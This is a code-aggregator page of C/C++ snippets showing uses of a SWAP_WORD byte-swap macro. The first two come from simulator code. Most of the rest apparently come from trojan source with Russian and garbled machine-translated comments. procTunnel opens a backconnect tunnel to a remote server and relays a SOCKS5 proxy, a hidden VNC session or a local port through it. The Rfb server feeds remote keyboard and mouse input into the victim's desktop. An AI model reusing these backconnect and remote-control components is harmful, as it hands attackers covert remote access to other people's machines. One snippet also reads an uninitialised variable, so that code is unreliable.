Esempio n. 1
0
bool rz3_section_header::read(gzFile gzf) {
  int32_t bytes_read = gzread(gzf, this, sizeof(rz3_section_header));
  if (bytes_read == 0) {
    /* end of file */
    return false;
  }

  if (bytes_read != sizeof(rz3_section_header)) {
    int32_t errnum;
    fprintf(stderr, "rz3_section_header::read() - gzread error (bytes read=%d, req = %d) %s\n", bytes_read, sizeof(rz3_section_header),
            gzerror(gzf, &errnum));
    fprintf(stderr, "errnum %d\n", errnum);
    return false;
  }

  //jan {
  //Need to swap multi-byte values on little endian machines
  nrecords = SWAP_WORD(nrecords);
  CompressedBufferSize = SWAP_LONG(CompressedBufferSize);
  //fprintf(stderr, "NRECORDS: %x;\nCOMPRESSEDBUFFERSIZE: %llx;\n", nrecords, CompressedBufferSize);

  for (int32_t j=0; j<rstzip3::bitarray_count; j++) {
    rz3_bitarray_counts[j] = SWAP_WORD(rz3_bitarray_counts[j]);
    //fprintf(stderr, "J: %d; BITARRAYCOUNTS: %x;\n", j, rz3_bitarray_counts[j]);
  }
  //jan }

  // sanity checks

  return sanity_check();

} // bool rz3_section_header::read(gzFile gzf)
Esempio n. 2
0
void AddressPrefetcher::tryPrefetch(MemRequest *mreq)
{
  // NOTE: This prefetcher works because PAddr and VAddr are the
  // same. If they were different, there should be a translation layer
  // in the middle
  GI(mreq->isDataReq() && mreq->getVaddr(), mreq->getPAddr() == mreq->getVaddr());

  I(!mreq->isPrefetch()); // No recursion

  PAddr vaddr = mreq->getPAddr();

  if (!ThreadContext::isValidVAddr(vaddr))
    return; // Junk read or icache read (just ignore it)

  // Look at the words (word boundary) in the cache line displaced or
  // brough to the cache. Keep it in the small cache
  RAddr start = ThreadContext::getMainThreadContext()->virt2real(vaddr);

  I(ThreadContext::isPrivateVAddr(start));

  RAddr end   = start + bsize;

  for(RAddr addr = start ; addr < end ; addr+=4) {
    long *pos = (long *)addr;
    VAddr val = SWAP_WORD(*pos);
    if (ThreadContext::isPrivateVAddr(val)) {
      cache->fillLine(val); // FIXME
      MSG("prefetch [0x%x]",(uint) val);
    }
  }
}
Esempio n. 3
0
static WORD createListenSocket(WORD initialPort, SOCKETDATA *ipv4Data, SOCKETDATA *ipv6Data)
{
  WDEBUG1(WDDT_INFO, "initialPort=%u.", initialPort);
  if(initialPort != 0 && createSocketData(AF_INET, initialPort, ipv4Data))
  {
    createSocketData(AF_INET6, initialPort, ipv6Data);
    return initialPort;
  }

  if(createSocketData(AF_INET, 0, ipv4Data))
  {
    SOCKADDR_STORAGE sockAddr;
    int sockAddrSize = sizeof(SOCKADDR_STORAGE);
    if(CWA(ws2_32, getsockname)(ipv4Data->s, (sockaddr *)&sockAddr, &sockAddrSize) == 0)
    {
      initialPort = SWAP_WORD(((SOCKADDR_IN *)&sockAddr)->sin_port);
      WDEBUG1(WDDT_INFO, "New initialPort=%u.", initialPort);
    
      createSocketData(AF_INET6, initialPort, ipv6Data);
      return initialPort;
    }
    freeSocketData(ipv4Data);
  }

  WDEBUG0(WDDT_ERROR, "Failed to listen.");
  return 0;
}
Esempio n. 4
0
bool WSocket::_isLocalIp(const SOCKADDR_STORAGE *sockAddr)
{
  if(sockAddr->ss_family == AF_INET)
  {
    SOCKADDR_IN *sa4 = ((SOCKADDR_IN *)sockAddr);

       //RFC 1918
    if((sa4->sin_addr.S_un.S_un_b.s_b1 == 10)                                                                                     //10.0.0.0    - 10.255.255.255  (10/8 prefix)
       || (sa4->sin_addr.S_un.S_un_b.s_b1 == 192 && sa4->sin_addr.S_un.S_un_b.s_b2 == 168)                                        //192.168.0.0 - 192.168.255.255 (192.168/16 prefix)
       || (sa4->sin_addr.S_un.S_un_b.s_b1 == 172 && (sa4->sin_addr.S_un.S_un_b.s_b2 > 15 && sa4->sin_addr.S_un.S_un_b.s_b2 < 32)) //172.16.0.0  - 172.31.255.255  (172.16/12 prefix)
       //RFC 3330
       || (sa4->sin_addr.S_un.S_un_b.s_b1 == 127)
      )return true;

  }
  else if(sockAddr->ss_family == AF_INET6)
  {
    //FXIME: IPv6
    const static WORD localIp[] = {0, 0, 0, 0, 0, 0, 0, 1};
    SOCKADDR_IN6 i6a;
    for(BYTE i = 0; i < 8; i++)i6a.sin6_addr.u.Word[i] = SWAP_WORD(((SOCKADDR_IN6 *)sockAddr)->sin6_addr.u.Word[i]);
    if(Mem::_compare(localIp, &i6a, sizeof(localIp)) == 0)return true;
  }
  return false;
}
Esempio n. 5
0
SOCKET WSocket::tcpListenEx(int family, WORD port, int backlog)
{
  if((family == AF_INET || family == AF_INET6))
  {
    SOCKADDR_STORAGE sockAddr;
    Mem::_zero(&sockAddr, sizeof(SOCKADDR_STORAGE));
    sockAddr.ss_family = family;
    ((SOCKADDR_IN *)&sockAddr)->sin_port = SWAP_WORD(port);
    return tcpListen(&sockAddr, backlog);
  }
  return INVALID_SOCKET;
}
Esempio n. 6
0
SOCKET WSocket::tcpListenRandom(int family, int backlog, WORD portMin, WORD portMax)
{
  if((family == AF_INET || family == AF_INET6) && portMin < portMax)
  {
    SOCKADDR_STORAGE sockAddr;
    Mem::_zero(&sockAddr, sizeof(SOCKADDR_STORAGE));
    sockAddr.ss_family = family;

    for(int i = portMax; i > 0; i--)
    {
      register WORD port = portMin + (Crypt::mtRand() % (portMax - portMin + 1));
      ((SOCKADDR_IN *)&sockAddr)->sin_port = SWAP_WORD(port);
      SOCKET s = tcpListen(&sockAddr, backlog);
      if(s != INVALID_SOCKET)return s;
    }
  }
  return INVALID_SOCKET;
}
Esempio n. 7
0
SOCKET WSocket::tcpConnectA(const LPSTR host, const WORD port)
{
  WORD tcpPort = SWAP_WORD(port);

  //Получаем данные удаленного сервера.
  SOCKADDR_STORAGE *destAddrIpv4 = NULL;
  SOCKADDR_STORAGE *destAddrIpv6 = NULL;

  {
    struct addrinfo *aiList;
    if(CWA(ws2_32, getaddrinfo)(host, NULL, NULL, &aiList) != 0)return INVALID_SOCKET;

    struct addrinfo *cur = aiList;
    while(cur)
    {
      if(cur->ai_family == AF_INET)destAddrIpv4 = (SOCKADDR_STORAGE *)Mem::copyEx(cur->ai_addr, cur->ai_addrlen);
      else if(cur->ai_family == AF_INET6)destAddrIpv6 = (SOCKADDR_STORAGE *)Mem::copyEx(cur->ai_addr, cur->ai_addrlen);
      cur = cur->ai_next;
    }

    CWA(ws2_32, freeaddrinfo)(aiList);
  }

  SOCKET s = INVALID_SOCKET;

  //FIXME: поменять приоретет, когда IPv6 станет порулярнее IPv4.
  if(destAddrIpv4 != NULL)
  {
    ((SOCKADDR_IN *)destAddrIpv4)->sin_port = tcpPort;
    s = tcpConnect(destAddrIpv4);
  }

  //Хз на сколько это логично в релаьных условиях.
  if(destAddrIpv6 != NULL && s == INVALID_SOCKET)
  {
    ((SOCKADDR_IN6 *)destAddrIpv6)->sin6_port = tcpPort;
    s = tcpConnect(destAddrIpv6);
  }

  Mem::free(destAddrIpv4);
  Mem::free(destAddrIpv6);

  return s;
}
Esempio n. 8
0
SOCKET WSocket::tcpConnectA(const LPSTR host, const WORD port)
{
  WORD tcpPort = SWAP_WORD(port);

  //Obtain the data the remote server.
  SOCKADDR_STORAGE *destAddrIpv4 = NULL;
  SOCKADDR_STORAGE *destAddrIpv6 = NULL;

  {
    struct addrinfo *aiList;
    if(CWA(ws2_32, getaddrinfo)(host, NULL, NULL, &aiList) != 0)return INVALID_SOCKET;

    struct addrinfo *cur = aiList;
    while(cur)
    {
      if(cur->ai_family == AF_INET)destAddrIpv4 = (SOCKADDR_STORAGE *)Mem::copyEx(cur->ai_addr, cur->ai_addrlen);
      else if(cur->ai_family == AF_INET6)destAddrIpv6 = (SOCKADDR_STORAGE *)Mem::copyEx(cur->ai_addr, cur->ai_addrlen);
      cur = cur->ai_next;
    }

    CWA(ws2_32, freeaddrinfo)(aiList);
  }

  SOCKET s = INVALID_SOCKET;

  //FIXME: change prioretet when IPv6 will become porulyarnee IPv4.
  if(destAddrIpv4 != NULL)
  {
    ((SOCKADDR_IN *)destAddrIpv4)->sin_port = tcpPort;
    s = tcpConnect(destAddrIpv4);
  }

  //Xs on how much it is logical to relanyh conditions.
  if(destAddrIpv6 != NULL && s == INVALID_SOCKET)
  {
    ((SOCKADDR_IN6 *)destAddrIpv6)->sin6_port = tcpPort;
    s = tcpConnect(destAddrIpv6);
  }

  Mem::free(destAddrIpv4);
  Mem::free(destAddrIpv6);

  return s;
}
Esempio n. 9
0
/*
  Поток для для создания тунеля.

  IN p   - BCTUNNELDATA.

  Return - 0.
*/
static DWORD WINAPI procTunnel(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);

  BCTUNNELDATA *bcTunnelData = (BCTUNNELDATA *)p;
  SOCKET service             = INVALID_SOCKET;
  SOCKET client              = INVALID_SOCKET;
  
  WDEBUG0(WDDT_INFO, "Started.");

  //Подключаемся к сервису.
  bool ok = false;
  if(bcTunnelData->servicePort == SERVICE_PORT_SOCKS)
  {
    ok = true;
  }
# if(BO_VNC > 0)
  else if(bcTunnelData->servicePort == SERVICE_PORT_VNC)
  {
    ok = true;
  }
# endif
  else
  {
    SOCKADDR_IN addr;
    addr.sin_family           = AF_INET;
    addr.sin_port             = SWAP_WORD(bcTunnelData->servicePort);
    addr.sin_addr.S_un.S_addr = 0x0100007F; //localhost

    if((service = WSocket::tcpConnect((SOCKADDR_STORAGE *)&addr)) != INVALID_SOCKET)
    {
      WSocket::tcpDisableDelay(service, true);
      ok = true;
    }
#   if(BO_DEBUG > 0)
    else WDEBUG1(WDDT_ERROR, "Failed to connect to local IPv4 port %u.", bcTunnelData->servicePort);
#   endif
  }

  //Подключаемся к серверу.
  if(ok == true && (client = WSocket::tcpConnectA(bcTunnelData->bcData->server, (WORD)Str::_ToInt32A(bcTunnelData->bcData->serverPort, NULL))) != INVALID_SOCKET)
  {
    WSocket::tcpDisableDelay(client, true);
    WSocket::tcpSetKeepAlive(client, true, Backconnect::KEEPALIVE_DELAY, Backconnect::KEEPALIVE_INTERVAL);

    if(Backconnect::_writeCommand(client, Backconnect::COMMAND_IS_SERVICE, (LPBYTE)&bcTunnelData->id, sizeof(DWORD)))switch(bcTunnelData->servicePort)
    {
      case SERVICE_PORT_SOCKS:
        Socks5Server::_start(client, 0);
        break;

#     if(BO_VNC > 0)
      case SERVICE_PORT_VNC:
        VncServer::start(client);
        break;
#     endif
      
      default:
        WSocket::tcpTunnel(client, service);
        break;
    }      
  }
    
  //Освобождение ресурсов.
  WSocket::tcpClose(client);
  WSocket::tcpClose(service);
  Mem::free(bcTunnelData);
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  return 0;
}
Esempio n. 10
0
void Rfb::_ServerThread(SOCKET s, DWORD dwTimeout, SERVER_CALLBACKS *pCallbacks, HANDLE hDIBMap, DWORD mapOffset, HANDLE updateMutex, DWORD dwRefreshInterval)
{
  #if defined(WDEBUG0)
  WDEBUG0(WDDT_INFO, "Session started");
  #endif

  /*
    Handshaking begins by the server sending the client a ProtocolVersion message. This
    lets the client know which is the highest Rfb protocol version number supported by
    the server.
  */
  if(!WSocket::tcpSend(s, "RFB 003.003\n", 12))return;

  /*
    The client then replies with a similar message giving the version number of
    the protocol which should actually be used (which may be different to that quoted by
    the server). A client should never request a protocol version higher than that offered
    by the server.
  */
  {
    char ver[13];

    if(!WSocket::tcpRecvAll(s, ver, sizeof(ver) - 1, dwTimeout) || Str::_CompareA(ver, "RFB ", 4, 4) != 0)return;
    
    ver[7] = 0;
    ver[11] = 0;

    WORD wClientVer = MAKEWORD(Str::_ToInt32A(ver + 4, NULL), Str::_ToInt32A(ver + 8, NULL));
    if(wClientVer > MAKEWORD(3, 6) || wClientVer < MAKEWORD(3, 3))return;
  }

  /*
    Once the protocol version has been decided, the server and client must agree on the
    type of security to be used on the connection.
  */
  {
    DWORD dwST = Rfb::ST_NONE;
    LPSTR pstrMessage = NULL;
    DWORD dwSTSwap;
   
    //Getting the type of authorization.
    pCallbacks->onSecurityType(pCallbacks->param, &dwST, &pstrMessage);
    dwSTSwap = SWAP_DWORD(dwST);
    if(!WSocket::tcpSend(s, &dwSTSwap, sizeof(DWORD)))dwST = ST_ERROR;
    
    //Reaction to the type of authorization.
    switch(dwST)
    {
      case Rfb::ST_NONE: break;
      case Rfb::ST_INVALID: SendANSIMessage(s, pstrMessage);
      default: return;
    }
  }

  /*
    Once the client and server are sure that they’re happy to talk to one another using the
    agreed security type, the protocol passes to the initialisation phase. The client sends a
    ClientInit message followed by the server sending a ServerInit message
  */
  {
    BYTE bShared;
    if(!WSocket::tcpRecvAll(s, &bShared, sizeof(BYTE), dwTimeout) || !pCallbacks->onClientInit(pCallbacks->param, bShared == 0 ? 0 : 1))return;
  }

  /*
    After receiving the ClientInit message, the server sends a ServerInit message. This
    tells the client the width and height of the server’s framebuffer, its pixel format and the
    name associated with the desktop
  */
  
  INTERNAL_DATA *pInternalData;

  {
    LPSTR pstrName = NULL;
    POINT size;
    HDC memoryDc = pCallbacks->onServerInit(pCallbacks->param, &pstrName, &size);
    
    if(memoryDc == NULL || (pInternalData = InitINTERNAL_DATA(memoryDc, &size, hDIBMap, mapOffset)) == NULL)return;
    
    //Osovnye data.
    DWORD dwNameLen = Str::_LengthA(pstrName);
    Rfb::MSG_SERVERINIT ServerInit;

    ServerInit.wFrameBufferWidth  = SWAP_WORD(pInternalData->wWidth);
    ServerInit.wFrameBufferHeight = SWAP_WORD(pInternalData->wHeight);
    ServerInit.dwNameLength       = SWAP_DWORD(dwNameLen);

    Mem::_copy(&ServerInit.pf, &pInternalData->pfLocalPixel, sizeof(Rfb::PIXEL_FORMAT));
    ServerInit.pf.wRedMax   = SWAP_WORD(ServerInit.pf.wRedMax);
    ServerInit.pf.wGreenMax = SWAP_WORD(ServerInit.pf.wGreenMax);
    ServerInit.pf.wBlueMax  = SWAP_WORD(ServerInit.pf.wBlueMax);

    //Otprovlyaem answer.
    if(!WSocket::tcpSend(s, &ServerInit, sizeof(Rfb::MSG_SERVERINIT)) || (dwNameLen > 0 && !WSocket::tcpSend(s, pstrName, dwNameLen)))
    {
      FreeINTERNAL_DATA(pInternalData);
      return;
    }
  }
  
  //The last state myshy.
  EVENT_POINTER epLast;
  epLast.bButtonMask = 0;
  epLast.wXPos = 0xFFFF;
  epLast.wYPos = 0xFFFF;

  //The last state clave.
  BYTE ekVirtualCodes[0xFF];
  BYTE ekCharCodes[0xFF];
  Mem::_zero(ekVirtualCodes, sizeof(ekVirtualCodes));
  Mem::_zero(ekCharCodes, sizeof(ekCharCodes));

  //The list of areas that are pending renewal.
  DWORD dwWaitRectsCount  = 0;
  RECTANGLE *prcWaitRects = NULL;

  //Processing cycle "Client to server messages".
  for(;;)
  {
    //Expectation of change which could not be obtained at the time of FramebufferUpdateRequest.
    if(dwWaitRectsCount > 0 && WSocket::tcpWaitForEvent(&s, 1, dwRefreshInterval, NULL, 0) == INVALID_SOCKET)
    {
      if(CWA(ws2_32, WSAGetLastError)() != WSAETIMEDOUT)goto END_LOOP;

      if(updateMutex != NULL)CWA(kernel32, WaitForSingleObject)(updateMutex, INFINITE);
      pCallbacks->OnUpdateDC(pCallbacks->param);
      for(DWORD i = 0; i < dwWaitRectsCount; i++)if(prcWaitRects[i].wWidth > 0 && prcWaitRects[i].wHeight > 0)
      {
        switch(SendChangedRects(s, pInternalData, &prcWaitRects[i]))
        {
          case -1:;
          case  0:
            if(updateMutex != NULL)CWA(kernel32, ReleaseMutex)(updateMutex);
            goto END_LOOP;
          
          case  1:
            if(i + 1 == dwWaitRectsCount)Mem::reallocEx(&prcWaitRects, sizeof(RECTANGLE) * (--dwWaitRectsCount));
            else Mem::_zero(&prcWaitRects[i], sizeof(RECTANGLE));
            break;
          //case 2: break;
        }
      }
      if(updateMutex != NULL)CWA(kernel32, ReleaseMutex)(updateMutex);
      continue;
    }

    //Getting the team.
    BYTE bMsg;
    if(!WSocket::tcpRecvAll(s, &bMsg, sizeof(BYTE), dwTimeout))goto END_LOOP;
    
    switch(bMsg)
    {
      /*
        Sets the format in which pixel values should be sent in FramebufferUpdate messages.
        If the client does not send a SetPixelFormat message then the server sends pixel values
        in its natural format as specified in the ServerInit message (section 6.3.2).
      */
      case 0: //SetPixelFormat
      {
        Rfb::PIXEL_FORMAT pf;
        
        if(!WSocket::tcpRecvAllToNull(s, 3, dwTimeout) || !WSocket::tcpRecvAll(s, &pf, sizeof(Rfb::PIXEL_FORMAT), dwTimeout))goto END_LOOP;
        if(!IsValidPIXEL_FORMAT(&pf, false))goto END_LOOP;
        
        pf.wRedMax     = SWAP_WORD(pf.wRedMax);
        pf.wGreenMax   = SWAP_WORD(pf.wGreenMax);
        pf.wBlueMax    = SWAP_WORD(pf.wBlueMax);
        
        //Paranoia.
        pf.bTrueColour = pf.bTrueColour == 0 ? FALSE : TRUE;
        pf.bBigEndian  = pf.bBigEndian  == 0 ? FALSE : TRUE;

        Mem::_copy(&pInternalData->pfRemotePixel, &pf, sizeof(Rfb::PIXEL_FORMAT));
        pInternalData->bRemotePixelSize = pf.bBitsPerPixel / 8;
        break;
      }

      /*
        Sets the encoding types in which pixel data can be sent by the server. The order of the
        encoding types given in this message is a hint by the client as to its preference (the first
        encoding specified being most preferred). The server may or may not choose to make
        use of this hint. Pixel data may always be sent in raw encoding even if not specified
        explicitly here.
      */
      case 2: //SetEncodings
      {
        WORD wCount;

        if(!WSocket::tcpRecvAllToNull(s, 1, dwTimeout) || !WSocket::tcpRecvAll(s, &wCount, sizeof(WORD), dwTimeout))goto END_LOOP;
        pInternalData->dwCurrentEncoder = ENCODER_Raw;
        if((pInternalData->wEncodingsCount = SWAP_WORD(wCount)) > 0)
        {
          DWORD dwSize = pInternalData->wEncodingsCount * sizeof(DWORD);
          if(!Mem::reallocEx(&pInternalData->dwEncodingsList, dwSize) || !WSocket::tcpRecvAll(s, pInternalData->dwEncodingsList, dwSize, dwTimeout))goto END_LOOP;
          for(WORD i = 0; i < pInternalData->wEncodingsCount; i++)
          {
            pInternalData->dwEncodingsList[i] = SWAP_DWORD(pInternalData->dwEncodingsList[i]);

            //Choosing the best Kodak in my opinion.
            if(pInternalData->dwEncodingsList[i] == ENCODER_Hextile)pInternalData->dwCurrentEncoder = ENCODER_Hextile;
          }
        }
        pInternalData->dwCurrentEncoderSwapped = SWAP_DWORD(pInternalData->dwCurrentEncoder);

        //Create or udayalem buffer Hexlite.
        if(pInternalData->dwCurrentEncoder == ENCODER_Hextile)
        {
          if(pInternalData->pHextileBuffer == NULL && (pInternalData->pHextileBuffer = Mem::alloc(HEXTILE_BUFFER_SIZE)) == NULL)goto END_LOOP;
        }
        else
        {
          Mem::free(pInternalData->pHextileBuffer);
          pInternalData->pHextileBuffer = NULL;
        }
        break;
      }

      /*
        Notifies the server that the client is interested in the area of the framebuffer specified
        by x-position, y-position, width and height. The server usually responds to a
        FramebufferUpdateRequest by sending a FramebufferUpdate. Note however that a single
        FramebufferUpdate may be sent in reply to several FramebufferUpdateRequests
      */
      case 3: //FramebufferUpdateRequest
      {
        RECTANGLE rect;
        if(!WSocket::tcpRecvAll(s, &rect, sizeof(RECTANGLE), dwTimeout))goto END_LOOP;
        
        rect.wXPos        = SWAP_WORD(rect.wXPos);
        rect.wYPos        = SWAP_WORD(rect.wYPos);
        rect.wWidth       = SWAP_WORD(rect.wWidth);
        rect.wHeight      = SWAP_WORD(rect.wHeight);
        rect.bIncremental = rect.bIncremental == FALSE ? FALSE : TRUE;
        
        //Add to the list box.
        DWORD i = 0;
        for(; i < dwWaitRectsCount; i++)if(prcWaitRects[i].wWidth == 0 && prcWaitRects[i].wHeight == 0)break;
        if(i == dwWaitRectsCount && !Mem::reallocEx(&prcWaitRects, sizeof(RECTANGLE) * (++dwWaitRectsCount)))goto END_LOOP;
        Mem::_copy(&prcWaitRects[i], &rect, sizeof(RECTANGLE));
        
        break;
      }

      /*
        A key press or release.
      */
      case 4: //KeyEvent
      {
        Rfb::EVENT_KEY ek;
        if(!WSocket::tcpRecvAll(s, &ek, sizeof(Rfb::EVENT_KEY), dwTimeout))goto END_LOOP;
        pCallbacks->onKeyEvent(pCallbacks->param, SWAP_DWORD(ek.dwKeyCode), (ek.bIsDown != 0));
        break;
      }

      /*
        Indicates either pointer movement or a pointer button press or release.
      */
      case 5: //PointerEvent
      {
        Rfb::EVENT_POINTER ep;
        if(!WSocket::tcpRecvAll(s, &ep, sizeof(Rfb::EVENT_POINTER), dwTimeout))goto END_LOOP;
        
        ep.wXPos = SWAP_WORD(ep.wXPos);
        ep.wYPos = SWAP_WORD(ep.wYPos);
        
        DWORD dwWheel = 0;
        DWORD dwFlags = MOUSEEVENTF_ABSOLUTE;
        bool bSwapped = (CWA(user32, GetSystemMetrics)(SM_SWAPBUTTON) != 0) ? true : false;

        //Move the cursor.
        if(ep.wXPos != epLast.wXPos || ep.wYPos != epLast.wYPos)dwFlags |= MOUSEEVENTF_MOVE;

        //The left button.
        if((ep.bButtonMask & MASK_POINTER_BUTTON_LEFT) != (epLast.bButtonMask & MASK_POINTER_BUTTON_LEFT))
        {
          if(ep.bButtonMask & MASK_POINTER_BUTTON_LEFT)dwFlags |= bSwapped ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_LEFTDOWN;
          else dwFlags |= bSwapped ? MOUSEEVENTF_RIGHTUP : MOUSEEVENTF_LEFTUP;
        }
        
        //The right button.
        if((ep.bButtonMask & MASK_POINTER_BUTTON_RIGHT) != (epLast.bButtonMask & MASK_POINTER_BUTTON_RIGHT))
        {
          if(ep.bButtonMask & MASK_POINTER_BUTTON_RIGHT)dwFlags |= bSwapped ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_RIGHTDOWN;
          else dwFlags |= bSwapped ? MOUSEEVENTF_LEFTUP : MOUSEEVENTF_RIGHTUP;
        }

        //The middle button.
        if((ep.bButtonMask & MASK_POINTER_BUTTON_MIDDLE) != (epLast.bButtonMask & MASK_POINTER_BUTTON_MIDDLE))
        {
          dwFlags |= (ep.bButtonMask & MASK_POINTER_BUTTON_MIDDLE) ? MOUSEEVENTF_MIDDLEDOWN : MOUSEEVENTF_MIDDLEUP;
        }

        //Scroll Up
        if((ep.bButtonMask & MASK_POINTER_WHEEL_UP)/* && (epLast.bButtonMask & MASK_POINTER_WHEEL_UP) == 0*/)
        {
          dwFlags |= MOUSEEVENTF_WHEEL;
          dwWheel  = WHEEL_DELTA;
        }

        //Scroll Down
        if((ep.bButtonMask & MASK_POINTER_WHEEL_DOWN)/* && (epLast.bButtonMask & MASK_POINTER_WHEEL_DOWN) == 0*/)
        {
          dwFlags |= MOUSEEVENTF_WHEEL;
          dwWheel  = (DWORD)(-WHEEL_DELTA);
        }

        Mem::_copy(&epLast, &ep, sizeof(EVENT_POINTER));
        pCallbacks->OnPointerEvent(pCallbacks->param, dwFlags, ep.wXPos, ep.wYPos, dwWheel);
        break;
      }

      /*In In In In In In In In The client has new ISO 8859-1 (Latin-1) text in its cut buffer.
V V V V V V*/
      case 6: //ClientCutText
      {
        BYTE pad[3];
        DWORD dwLen;
        if(!WSocket::tcpRecvAll(s, pad, sizeof(pad), dwTimeout) || !WSocket::tcpRecvAll(s, &dwLen, sizeof(DWORD), dwTimeout))goto END_LOOP;

        dwLen = SWAP_DWORD(dwLen);

        LPSTR pStr = (LPSTR)Mem::alloc(dwLen + 1);
        if(pStr == NULL)
        {
          Mem::free(pStr);
          goto END_LOOP;
        }
        
        if(!WSocket::tcpRecvAll(s, pStr, dwLen, dwTimeout))goto END_LOOP;
        
        pCallbacks->OnClientCutText(pCallbacks->param, dwLen, pStr);
        Mem::free(pStr);
        break;
      }

      default: goto END_LOOP;
    }
  }

END_LOOP: 
  
  #if defined(WDEBUG0)
  WDEBUG0(WDDT_INFO, "Session stopped");
  #endif
  
  FreeINTERNAL_DATA(pInternalData);
  Mem::free(prcWaitRects);
}
Esempio n. 11
0
/*
  Отправка изменных областей клиенту.

  IN s   - сокет.
  IN pid - данные.

  Return - -1 - внутрення ошибка.
            0 - ошибка отправки.
            1 - данные отправлены.
            2 - измененых областей не найдено.
*/
static int SendChangedRects(SOCKET s, Rfb::INTERNAL_DATA *pid, Rfb::RECTANGLE *pr)
{
  if(pr->wWidth == 0 || pr->wHeight == 0)return 0;

  int iRetVal         = -1;
  LPBYTE pChangesList = NULL;
  DWORD dwChangesSize = 0;
  DWORD dwChanges     = 0;
  WORD wXLast         = pr->wXPos + pr->wWidth;
  WORD wYLast         = pr->wYPos + pr->wHeight;      

  for(WORD wRectX = pr->wXPos, wRectWidth = RECT_SIZE; ; wRectX += wRectWidth)
  {
    wRectWidth = wXLast - wRectX;
    wRectWidth = min(RECT_SIZE, wRectWidth);
    if(wRectX >= wXLast || wRectWidth == 0)break;
    
    DWORD dwRectWidthInBytes = wRectWidth * pid->bLocalPixelSize;

    for(WORD wRectY = pr->wYPos, wRectHeight = RECT_SIZE; ; wRectY += wRectHeight)
    {
      wRectHeight = wYLast - wRectY;
      wRectHeight = min(RECT_SIZE, wRectHeight);
      if(wRectY >= wYLast || wRectHeight == 0)break;

      DWORD dwMaxLx = (((wRectY + wRectHeight - 1) * pid->wWidth) + wRectX) * pid->bLocalPixelSize;
      DWORD dwLx    = (wRectY * pid->wWidth + wRectX) * pid->bLocalPixelSize;
      
      //Obtain the change in the square.
      if(pr->bIncremental != FALSE)
      { 
        //Here, the main load on the CPU.
        if(pid->bLocalPixelSize == 1){SEARCH_RECT_CHANGES(BYTE);}
        else if(pid->bLocalPixelSize == 2){SEARCH_RECT_CHANGES(WORD);}
        else if(pid->bLocalPixelSize == 4){SEARCH_RECT_CHANGES(DWORD);}
        continue;
      }

      //Changes were found.
      {
        RECT_CHANGED:
        DWORD dwMaxRectSize;
        switch(pid->dwCurrentEncoder)
        {
          case Rfb::ENCODER_Hextile: dwMaxRectSize += HextileEncoder::GetMaxSize(pid); break;
          default:                   dwMaxRectSize += RawEncoder::GetMaxSize(pid);
        }

        if(Mem::reallocEx(&pChangesList, dwChangesSize + sizeof(Rfb::RECTANGLEEX) + dwMaxRectSize))
        {
          Rfb::RECTANGLEEX *pCurRect = (Rfb::RECTANGLEEX *)(pChangesList + dwChangesSize);
          LPBYTE pCurData = ((LPBYTE)pCurRect) + sizeof(Rfb::RECTANGLEEX);
          
          pCurRect->wXPos          = SWAP_WORD(wRectX);
          pCurRect->wYPos          = SWAP_WORD(wRectY);
          pCurRect->wWidth         = SWAP_WORD(wRectWidth);
          pCurRect->wHeight        = SWAP_WORD(wRectHeight);
          pCurRect->dwEncodingType = pid->dwCurrentEncoderSwapped;

          switch(pid->dwCurrentEncoder)
          {
            case Rfb::ENCODER_Hextile: dwMaxRectSize = HextileEncoder::Encode(pid, pCurData, dwLx, dwMaxLx, wRectX, wRectY, wRectWidth, wRectHeight, dwRectWidthInBytes); break;
            default:                   dwMaxRectSize = RawEncoder::Encode(pid, pCurData, dwLx, dwMaxLx, dwRectWidthInBytes);
          }

          if(dwMaxRectSize > 0)
          {
            dwChangesSize += sizeof(Rfb::RECTANGLEEX) + dwMaxRectSize;
            dwChanges++;
          }
        }
      }
    }
  }
  
  if(dwChanges == 0)iRetVal = 2;
  else
  {
    //Sending a client.
    WORD wHdr[2];

    //((LPBYTE) & wHdr) [0] = 0; / / FramebufferUpdate
    //((LPBYTE) & wHdr) [1] = 0; / / Padding

    wHdr[0] = 0; //FramebufferUpdate
    wHdr[1] = SWAP_WORD(dwChanges);

    iRetVal = (WSocket::tcpSend(s, wHdr, sizeof(wHdr)) && WSocket::tcpSend(s, pChangesList, dwChangesSize)) ? 1 : 0;
  }
  Mem::free(pChangesList);

  return iRetVal;
}